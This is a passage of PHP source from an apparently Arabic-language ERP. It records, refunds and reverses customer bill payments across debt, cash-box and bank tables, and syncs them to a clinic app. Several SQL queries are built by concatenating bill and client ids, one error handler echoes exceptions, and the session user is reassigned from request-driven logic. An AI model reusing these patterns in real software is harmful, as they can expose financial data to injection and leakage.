    foreach ($sellSumPro as $pro) {
        if ($pro['sizeid'] > 0 && $pro['colorid'] > 0) { //has size and color
            $productStatistics["hasSizeColor" . $pro['productid'] . "-" . $pro['sizeid'] . "-" . $pro['colorid']] += $pro['sellbilldetailquantity'];
        } else {
            $productStatistics[$pro['productid']] += $pro['sellbilldetailquantity'];
        }
    }

    foreach ($sellRetSumPro as $pro) {
        if ($pro['sizeid'] > 0 && $pro['colorid'] > 0) { //has size and color
            $productStatistics["hasSizeColor" . $pro['productid'] . "-" . $pro['sizeid'] . "-" . $pro['colorid']] += $pro['sellbilldetailquantity'];
        } else {
            $productStatistics[$pro['productid']] += $pro['sellbilldetailquantity'];
        }
    }

    foreach ($retSellSumPro as $pro) {
        if ($pro['sizeid'] > 0 && $pro['colorid'] > 0) { //has size and color
            $productStatistics["hasSizeColor" . $pro['productid'] . "-" . $pro['sizeid'] . "-" . $pro['colorid']] -= $pro['returnsellbilldetailquantity'];
        } else {
            $productStatistics[$pro['productid']] -= $pro['returnsellbilldetailquantity'];
        }
    }
    return $productStatistics;
}

function makeSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment) {
    global $mySellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    //for obygy
    global $userDAO;
    global $Programsettingdata;


    $voucher = $bill_no;
    $comment = $_POST["comment"];
    if (!isset($comment) || empty($rowComment)) {
        $comment = $rowComment;
    }
    $today = date("Y-m-d");

    $clientid = 0;
    $clientdebtchangeId = 0;
    $sellBill = $mySellbillRecord->load($bill_no);
    ## check if it is already payed
    $paymentsSum = (float) R::getCell('SELECT sum(clientdebtchangeamount) as clientdebtchangeamount
                FROM clientdebtchange where tablename = "clientPayedDeptSellBillsController.php" and billid =' . $bill_no);
    $sellbilltotalpayed = (float) $sellBill->sellbilltotalpayed + $paymentsSum;
    if ($sellBill->sellbillaftertotalbill == $sellbilltotalpayed) {// bill already payed
        return -1000;
    }
    if ($sellBill->conditions != 0) {// bill is deleted
        return -2000;
    }




    //Transaction
    $mytransactions = new Transaction();
    $allDataObygyArray = array();
    try {
        //        var_dump($sellBill->sellbillid);
        //        var_dump($pay);
        //        var_dump($paytype);
        //        var_dump($saveid);
        //        var_dump($bankAccountId);
        if ($sellBill->sellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {

            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->sellbillclientid);
            $client->clientid = $clientid = $sellBill->sellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore - $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->sellbillclientid);

            //insert into supplierdeptchange tbl
            $clientDeptChange->comment = $comment;
            $clientDeptChange->processname = "السداد على فاتورة بيع للعميل";
            $clientDeptChange->clientdebtchangeafter = $debtAfter;
            $clientDeptChange->clientdebtchangeamount = $payedDept;
            $clientDeptChange->totalOperationCost = $payedDept;
            $clientDeptChange->clientdebtchangebefore = $debtBefore;
            $clientDeptChange->clientdebtchangedate = date('Y-m-d H:i:s');
            $clientDeptChange->clientdebtchangemodelid = $voucher;
            $clientDeptChange->clientdebtchangetype = 1;
            $clientDeptChange->tablename = "clientPayedDeptSellBillsController.php";
            $clientDeptChange->userid = $_SESSION['userid'];
            $clientDeptChange->clientid = $client->clientid;
            $clientDeptChange->dailyentryid = 0;
            $clientDeptChange->num = $voucher;
            $clientDeptChange->billid = $bill_no;
            $clientDeptChange->paytype = $paytype_txt;


            //Insert
            $clientdebtchangeId = $clientDeptChangeDAO->insert($clientDeptChange);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndPlus($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 0, $saveId, "السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $saveValueafter, "clientPayedDeptSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId, $client->clientid);
                    makeDillPaymentDailyEntry($bill_no, $payedDept, $valueData[3], $client->treeId, $clientdebtchangeId);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance + $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 0, $dataBankAccount->accountbeginingbalance, "السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId, $sellBill->sellbillclientid);
                makeDillPaymentDailyEntry($bill_no, $payedDept, $dataBankAccount->treeId, $client->treeId, $clientdebtchangeId);
            }

            if ($Programsettingdata->obygyFolder != "") {
                $bill_pay = array();
                $client = $clientDAO->load($clientid);
                $bill_pay["patient_id"] = $client->obygyPatientId; //royal
                $bill_pay["bill_id"] = $sellBill->sellbillid; //erp
                $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
                if ($paytype == "save") {
                    $bill_pay["detectionvalue_cash"] = $payedDept;
                    $bill_pay["detectionvalue_visa"] = 0;
                    $bill_pay["saveOrBankAccountid"] = $saveId;
                    $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
                } elseif ($paytype == "bank") {
                    $bill_pay["detectionvalue_cash"] = 0;
                    $bill_pay["detectionvalue_visa"] = $payedDept;
                    $bill_pay["saveOrBankAccountid"] = $bankAccountId;
                    $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
                }

                $userData = $userDAO->load($_SESSION['userid']);
                $bill_pay["discount"] = 0; //0
                $bill_pay["note"] = ''; //empty or username
                $bill_pay["user_id"] = $userData->obygyDoctorId;
                $bill_pay["user_name"] = $userData->employeename;
                $bill_pay["paymentfrom"] = 1; //erp or royal
                $bill_pay["cahngeType"] = 0; //to decreae debt @royal
                array_push($allDataObygyArray, $bill_pay);
            }
        }


        $add_print = filter_input(INPUT_POST, 'add_print');

        $data_arr = array($add_print, $clientdebtchangeId);



        $mytransactions->commit();
        $isCurlFromRoyal = (int) $_POST['isCurlFromRoyal']; //1 it is curl from royal//to stop recursion curl btween erp,royal
        if ($Programsettingdata->obygyFolder != "" && $isCurlFromRoyal != 1 && count($allDataObygyArray) > 0) {
            $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=payERPBills';
            $ret = CURL_Request($allDataObygyArray, $url, 1);
            //print_r($ret);
        }
    } catch (Exception $ex) {
        echo $ex;
        $mytransactions->rollback();
        markClientAsNOTInUse($clientid);
    }


    return $data_arr;
}

function makeReturnSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment) {
    global $myReturnsellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    global $userDAO;
    global $Programsettingdata;

    $voucher = $bill_no;
    $comment = $_POST["comment"];
    if (!isset($comment) || empty($rowComment)) {
        $comment = $rowComment;
    }
    $today = date("Y-m-d");

    $clientid = 0;
    //Transaction
    $mytransactions = new Transaction();
    $allDataObygyArray = array();
    try {
        $clientdebtchangeId = 0;
        $sellBill = $myReturnsellbillRecord->load($bill_no);
        if ($sellBill->returnsellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {

            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->returnsellbillclientid);
            $client->clientid = $clientid = $sellBill->returnsellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore + $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->returnsellbillclientid);

            //insert into supplierdeptchange tbl
            $clientDeptChange->comment = $comment;
            $clientDeptChange->processname = "استرداد على فاتورة مردود بيع للعميل";
            $clientDeptChange->clientdebtchangeafter = $debtAfter;
            $clientDeptChange->clientdebtchangeamount = $payedDept;
            $clientDeptChange->totalOperationCost = $payedDept;
            $clientDeptChange->clientdebtchangebefore = $debtBefore;
            $clientDeptChange->clientdebtchangedate = date('Y-m-d H:i:s');
            $clientDeptChange->clientdebtchangemodelid = $voucher;
            $clientDeptChange->clientdebtchangetype = 0;
            $clientDeptChange->tablename = "clientPayedDeptReturnSellBillsController.php";
            $clientDeptChange->userid = $_SESSION['userid'];
            $clientDeptChange->clientid = $client->clientid;
            $clientDeptChange->dailyentryid = 0;
            $clientDeptChange->num = $voucher;
            $clientDeptChange->billid = $bill_no;
            $clientDeptChange->paytype = $paytype_txt;


            //Insert
            $clientdebtchangeId = $clientDeptChangeDAO->insert($clientDeptChange);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndMins($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 1, $saveId, "استرداد على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $saveValueafter, "clientPayedDeptReturnSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId, $client->clientid);
                    makeDillPaymentDailyEntry($bill_no, $payedDept, $valueData[3], $client->treeId, $clientdebtchangeId, 1);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance - $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 1, $dataBankAccount->accountbeginingbalance, "استرداد على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptReturnSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId, $sellBill->returnsellbillclientid);
                makeDillPaymentDailyEntry($bill_no, $payedDept, $dataBankAccount->treeId, $client->treeId, $clientdebtchangeId, 1);
            }

            if ($Programsettingdata->obygyFolder != "") {
                $bill_pay = array();
                $client = $clientDAO->load($clientid);
                $bill_pay["patient_id"] = $client->obygyPatientId; //royal
                $bill_pay["bill_id"] = $sellBill->returnsellbillid; //erp
                $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
                if ($paytype == "save") {
                    $bill_pay["detectionvalue_cash"] = $payedDept;
                    $bill_pay["detectionvalue_visa"] = 0;
                    $bill_pay["saveOrBankAccountid"] = $saveId;
                    $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
                } elseif ($paytype == "bank") {
                    $bill_pay["detectionvalue_cash"] = 0;
                    $bill_pay["detectionvalue_visa"] = $payedDept;
                    $bill_pay["saveOrBankAccountid"] = $bankAccountId;
                    $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
                }

                $userData = $userDAO->load($_SESSION['userid']);
                $bill_pay["discount"] = 0; //0
                $bill_pay["note"] = ''; //empty or username
                $bill_pay["user_id"] = $userData->obygyDoctorId;
                $bill_pay["user_name"] = $userData->employeename;
                $bill_pay["paymentfrom"] = 1; //erp or royal
                $bill_pay["cahngeType"] = 1; //to increase debt @royal
                $bill_pay["isRet"] = 1; //to indicate it is on retsellbill
                array_push($allDataObygyArray, $bill_pay);
            }
        }

        $add_print = filter_input(INPUT_POST, 'add_print');

        $data_arr = array($add_print, $clientdebtchangeId);



        $mytransactions->commit();

        $isCurlFromRoyal = (int) $_POST['isCurlFromRoyal']; //1 it is curl from royal//to stop recursion curl btween erp,royal
        if ($Programsettingdata->obygyFolder != "" && $isCurlFromRoyal != 1 && count($allDataObygyArray) > 0) {
            $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=payERPBills';
            $ret = CURL_Request($allDataObygyArray, $url, 1, 0, '', 'POST');
            //print_r($ret);
        }
    } catch (Exception $ex) {
        $mytransactions->rollback();
        markClientAsNOTInUse($clientid);
    }


    return $data_arr;
}

function delMakeSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment) {
    global $mySellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    global $myAccountmovementExt;
    //for obygy
    global $userDAO;
    global $Programsettingdata;


    $clientdebtchangeId = (int) $_POST["clientdebtchangeId"];
    $clientDeptChange = $clientDeptChangeDAO->load($clientdebtchangeId);
    $comment = $_POST["comment"];
    $paytype = $_POST["paytype"];
    $today = date("Y-m-d");


    ########################################################################
    //choose erpDB user has choosen in obygy_app
    //it is reuired by eng.sherif to keep edit info to person who add, not the one who is updating as long as it is not الاستقبال group
    if (isset($_POST["erpDB"]) && !empty($_POST["erpDB"])) {
        if (isset($_POST['obgyGroupId']) && $_POST['obgyGroupId'] == 3) {
            //it is reception الاستقبال// and its id @royal=3
            //use data coming for user who make update
        } else {
            //keep using the same data of user who made bill
            //get user id
            $_POST['userid'] = $clientDeptChange->userid;
            $_SESSION['userid'] = (isset($_POST['userid']) && $_POST['userid'] > 0) ? (int) $_POST['userid'] : 1;
        }
    }
    ########################################################################


    $bill_no = $clientDeptChange->billid;
    $sellBill = $mySellbillRecord->load($bill_no);
    $pay = $clientDeptChange->clientdebtchangeamount;
    $savedailySaveId = R::getCell('select saveid from savedaily where tablename="clientPayedDeptSellBillsController.php" and savedailymodelid='.$bill_no.' and savedailychangetype = 0 order by savedailyid desc');
    $saveid = $savedailySaveId;// $sellBill->sellbillsaveid;
    $bankAccountId = $sellBill->visaAccountId;
    $dailyentryidOfPayment = $clientDeptChange->dailyentryid;

    if ($paytype == "bank" && $bankAccountId < 1) {
        //no bank data saved @ bill , get it @payment
        $row = $myAccountmovementExt->getBankPaymentDetaildWithClientDebtChangeId($clientdebtchangeId);
        if ($row->accountmovementid > 0) {
            $bankAccountId = $row->accountid;
        }
    }


    $savePaymentDateWithBillDate = (int) $_POST['savePaymentDateWithBillDate'];
    //check if payed or not to change save value
    $payDateToRecord = date('Y-m-d H:i:s');
    if ($savePaymentDateWithBillDate == 1) {
        $payDateToRecord = $clientDeptChange->clientdebtchangedate;
    }

    //Transaction
    $mytransactions = new Transaction();
    try {

        if ($sellBill->sellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {

            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->sellbillclientid);
            $client->clientid = $clientid = $sellBill->sellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore + $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->sellbillclientid);

            //insert into supplierdeptchange tbl
            //            $clientDeptChange->del = 1;
            //            $clientDeptChangeDAO->update($clientDeptChange);
            $clientDeptChangeDAO->delete($clientdebtchangeId);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndMins($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 1, $saveId, "الغاء السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $saveValueafter, "clientPayedDeptSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId, $client->clientid);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance - $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 1, $dataBankAccount->accountbeginingbalance, "الغاء السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId, $sellBill->sellbillclientid);
            }


            reverseEntryWithItsID($dailyentryidOfPayment, 1);

            if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
                $data = array('status' => 1, 'message' => 'تمت العمليه بنجاح', 'message_en' => 'Success');
                echo json_encode($data);
            } else {
                echo 1;
            }
        } else {
            if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
                $data = array('status' => 2, 'message' => 'حدث خطأ', 'message_en' => 'Error');
                echo json_encode($data);
            } else {
                echo -1;
            }
        }

        $mytransactions->commit();

        $allDataObygyArray = array();
        if ($Programsettingdata->obygyFolder != "") {
            $bill_pay = array();

            $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
            $bill_pay["paytype"] = $paytype;
            if ($paytype == "save") {
                $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
            } elseif ($paytype == "bank") {
                $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
            }

            $userData = $userDAO->load($_SESSION['userid']);
            $bill_pay["user_id"] = $userData->obygyDoctorId;
            $bill_pay["paymentfrom"] = 1; //erp or royal
            array_push($allDataObygyArray, $bill_pay);

            if (count($allDataObygyArray) > 0) {
                $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=delPayERPBills';
                $ret = CURL_Request($allDataObygyArray, $url, 1);
                //print_r($ret);
            }
        }
    } catch (Exception $ex) {
        if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
            $data = array('status' => 2, 'message' => 'حدث خطأ', 'message_en' => 'Error');
            echo json_encode($data);
        } else {
            echo -1;
        }
        $mytransactions->rollback();
    }
}

function delmakeReturnSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment) {
    global $myReturnsellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    global $myAccountmovementExt;
    //for obygy
    global $userDAO;
    global $Programsettingdata;


    $clientdebtchangeId = (int) $_POST["clientdebtchangeId"];
    $clientDeptChange = $clientDeptChangeDAO->load($clientdebtchangeId);
    $comment = $_POST["comment"];
    $paytype = $_POST["paytype"];
    $today = date("Y-m-d");


    ########################################################################
    //choose erpDB user has choosen in obygy_app
    //it is reuired by eng.sherif to keep edit info to person who add, not the one who is updating as long as it is not الاستقبال group
    if (isset($_POST["erpDB"]) && !empty($_POST["erpDB"])) {
        if (isset($_POST['obgyGroupId']) && $_POST['obgyGroupId'] == 3) {
            //it is reception الاستقبال// and its id @royal=3
            //use data coming for user who make update
        } else {
            //keep using the same data of user who made bill
            //get user id
            $_POST['userid'] = $clientDeptChange->userid;
            $_SESSION['userid'] = (isset($_POST['userid']) && $_POST['userid'] > 0) ? (int) $_POST['userid'] : 1;
        }
    }
    ########################################################################


    $bill_no = $clientDeptChange->billid;
    $sellBill = $myReturnsellbillRecord->load($bill_no);
    $pay = $clientDeptChange->clientdebtchangeamount;
    $saveid = $sellBill->returnsellbillsaveid;
    $bankAccountId = $sellBill->visaAccountId;
    $dailyentryidOfPayment = $clientDeptChange->dailyentryid;

    if ($paytype == "bank" && $bankAccountId < 1) {
        //no bank data saved @ bill , get it @payment
        $row = $myAccountmovementExt->getBankPaymentDetaildWithClientDebtChangeId($clientdebtchangeId);
        if ($row->accountmovementid > 0) {
            $bankAccountId = $row->accountid;
        }
    }

    $savePaymentDateWithBillDate = (int) $_POST['savePaymentDateWithBillDate'];
    //check if payed or not to change save value
    $payDateToRecord = date('Y-m-d H:i:s');
    if ($savePaymentDateWithBillDate == 1) {
        $payDateToRecord = $clientDeptChange->clientdebtchangedate;
    }
    //Transaction
    $mytransactions = new Transaction();
    try {
        if ($sellBill->returnsellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {
            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->returnsellbillclientid);
            $client->clientid = $clientid = $sellBill->returnsellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore - $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->returnsellbillclientid);

            //insert into supplierdeptchange tbl
            //            $clientDeptChange->del = 1;
            //            $clientDeptChangeDAO->update($clientDeptChange);
            $clientDeptChangeDAO->delete($clientdebtchangeId);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndPlus($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 0, $saveId, "الغاء مرتجع دفعه على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $saveValueafter, "clientPayedDeptReturnSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId, $client->clientid);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance + $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 0, $dataBankAccount->accountbeginingbalance, "الغاء مرتجع دفعه على فاتورة مردود بيع للعميل", $sellBill->returnsellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptReturnSellBillsController.php", $comment, $payDateToRecord, $clientdebtchangeId, $sellBill->returnsellbillclientid);
            }


            reverseEntryWithItsID($dailyentryidOfPayment, 1);

            echo 1;
        } else {
            echo -1;
        }

        $mytransactions->commit();

        $allDataObygyArray = array();
        if ($Programsettingdata->obygyFolder != "") {
            $bill_pay = array();

            $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
            $bill_pay["paytype"] = $paytype;
            if ($paytype == "save") {
                $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
            } elseif ($paytype == "bank") {
                $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
            }

            $userData = $userDAO->load($_SESSION['userid']);
            $bill_pay["user_id"] = $userData->obygyDoctorId;
            $bill_pay["paymentfrom"] = 1; //erp or royal
            array_push($allDataObygyArray, $bill_pay);

            if (count($allDataObygyArray) > 0) {
                $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=delPayERPBills';
                $ret = CURL_Request($allDataObygyArray, $url, 1);
                //print_r($ret);
            }
        }
    } catch (Exception $ex) {
        echo -1;
        $mytransactions->rollback();
    }
}

function getClientDataFromClientInUseSP($clientid) {
    global $clientEX;
    global $myClientRecord;
    if ($clientid == 1) {
        $client_data = $myClientRecord->load($clientid);
    } elseif ($clientid > 1) {
        $noOfTries = 0;
        $client_data = $clientEX->callClientInUseSP($clientid);
        while ($client_data->clientdebt == 'in_use') {
            sleep(1);
            $noOfTries++;
            if ($noOfTries > 15) { // mean 15 sec as sleep is 1 sec her
                //markClientAsNOTInUse -- using redbeans to instantly execute in database as we are in transaction now "means affecting row is done @end of execution or comit"
                liveBackupComment("-- force free client=$clientid with redbean");
                R::exec('UPDATE client SET  inUse = 0 where clientid = ' . $clientid);
            }
            $client_data = $clientEX->callClientInUseSP($clientid);
        }
    }
    return $client_data;
}

function markClientAsNOTInUse($clientid) { //mark as not in use "free him to be able to change debt again"
    global $clientEX;
    if ($clientid == 1) {
        //do no thing. we didnot mark it as in use at begining
    } else {
        $clientEX->markClientAsNOTInUse($clientid);
    }
}

function liveBackupComment($txt) {
    $myfile = fopen("backup/" . date("Y-m-d") . ".txt", "a+") or die("Unable to open file!");
    $toWrite = "\r\n-- ----------------------------------------------------------------------------------------------------\r\n";
    $toWrite .= $txt;
    $toWrite .= "\r\n-- ----------------------------------------------------------------------------------------------------\r\n\r\n";
    fwrite($myfile, $toWrite);
}

// get initialvalue and plus from save tbl
function getSaveValueAndPlus($saveid, $savevaluechanged) {

    //to use the variable out side the funcion
    global $mySave;
    global $mySaveEx;

    $saveData = $mySaveEx->loadForUpdateEx($saveid);
    $saveId = $saveData->saveid;
    $saveValuebefore = $saveData->savecurrentvalue;

    $saveValueafter = $saveValuebefore + $savevaluechanged;

    return array($saveId, $saveValuebefore, $saveValueafter, $saveData->treeId);
}

// get initialvalue and mins from save tbl
function getSaveValueAndMins($saveid, $savevaluechanged) {

    //to use the variable out side the funcion
    global $mySave;
    global $mySaveEx;

    $saveData = $mySaveEx->loadForUpdateEx($saveid);
    $saveId = $saveData->saveid;
    $saveValuebefore = $saveData->savecurrentvalue;

    $saveValueafter = $saveValuebefore - $savevaluechanged;

    return array($saveId, $saveValuebefore, $saveValueafter, $saveData->treeId);
}

// update in Save tbl
function updateSave($saveid, $savevalueafter) {

    //to use the variable out side the funcion
    global $mySave;
    global $mySaveEx;

    //update initialvalue in Save tbl
    $mySave->savecurrentvalue = $savevalueafter;
    $mySave->userid = $_SESSION['userid'];
    $mySave->saveid = $saveid;

    $mySaveEx->updateSaveValue($mySave);
}

// insert in Savedaily tbl
function insertSavedaily($savedailysavebefore, $savedailychangeamount, $savedailychangetype, $saveid, $processname, $savedailymodelid, $savedailysaveafter, $tablename, $comment, $date, $clientdebtchangeId, $clientid) {

    //to use the variable out side the funcion
    global $mySavedaily;
    global $mySavedailyRecord;

    //insert in Savedaily tbl
    $mySavedaily->savedailydate = $date; //date("Y-m-d H:i:s");
    $mySavedaily->userid = $_SESSION['userid'];
    $mySavedaily->savedailysavebefore = $savedailysavebefore;
    $mySavedaily->savedailychangeamount = $savedailychangeamount;
    $mySavedaily->savedailychangetype = $savedailychangetype;
    $mySavedaily->saveid = $saveid;
    $mySavedaily->processname = $processname;
    $mySavedaily->savedailymodelid = $savedailymodelid;
    $mySavedaily->savedailysaveafter = $savedailysaveafter;
    $mySavedaily->tablename = $tablename;
    $mySavedaily->note = $comment;
    $mySavedaily->clientid = $clientid;
    $mySavedaily->clientdebtchangeidfk = $clientdebtchangeId;
    if (isset($_SESSION['client_id']) && !empty($_SESSION['client_id'])) {
        $mySavedaily->clientid = $_SESSION['client_id'];
    } else {
        $mySavedaily->clientid = (int) $clientid; //0;
    }
    $mySavedailyRecord->insert($mySavedaily);
}

// insertAccountmovement of bank
function insertAccountmovement($accountbefore, $accountamount, $accountmovementtype, $accountafter, $processname, $accountmovementmodelid, $accountid, $bankid, $tablename, $comment, $date, $clientdebtchangeId, $clientId) {

    //to use the variable out side the funcion
    global $myAccountmovement;
    global $myAccountmovementRecord;


    //insert in Accountmovement tbl
    $myAccountmovement->accountid = $accountid;
    $myAccountmovement->accountmovementafter = $accountafter;
    $myAccountmovement->accountmovementamount = $accountamount;
    $myAccountmovement->accountmovementbefore = $accountbefore;
    $myAccountmovement->accountmovementdate = $date; //date("Y-m-d H:i:s");
    $myAccountmovement->accountmovementmodelid = $accountmovementmodelid;
    $myAccountmovement->accountmovementtype = $accountmovementtype;
    $myAccountmovement->bankid = $bankid;
    $myAccountmovement->processname = $processname;
    $myAccountmovement->tablename = $tablename;
    $myAccountmovement->accountmovementcomment = $comment;
    $myAccountmovement->clientdebtchangeidfk = $clientdebtchangeId;
    $myAccountmovement->clientid = $clientId;
    $myAccountmovement->userid = $_SESSION['userid'];

    $myAccountmovementRecord->insert($myAccountmovement);
}

function getProductPath_recursive($parentid, $categories) {
    global $productCatExt;

    $catData = $productCatExt->getCategoryAndParentByCatId($parentid);

    if (count($catData) > 0) {
        $categories .= $catData->productCatName . '/';
        $newParentId = $catData->productCatParent;

        return getProductPath_recursive($newParentId, $categories);
    }
    $categories = substr($categories, 0, strlen($categories) - 1);
    return $categories;
}

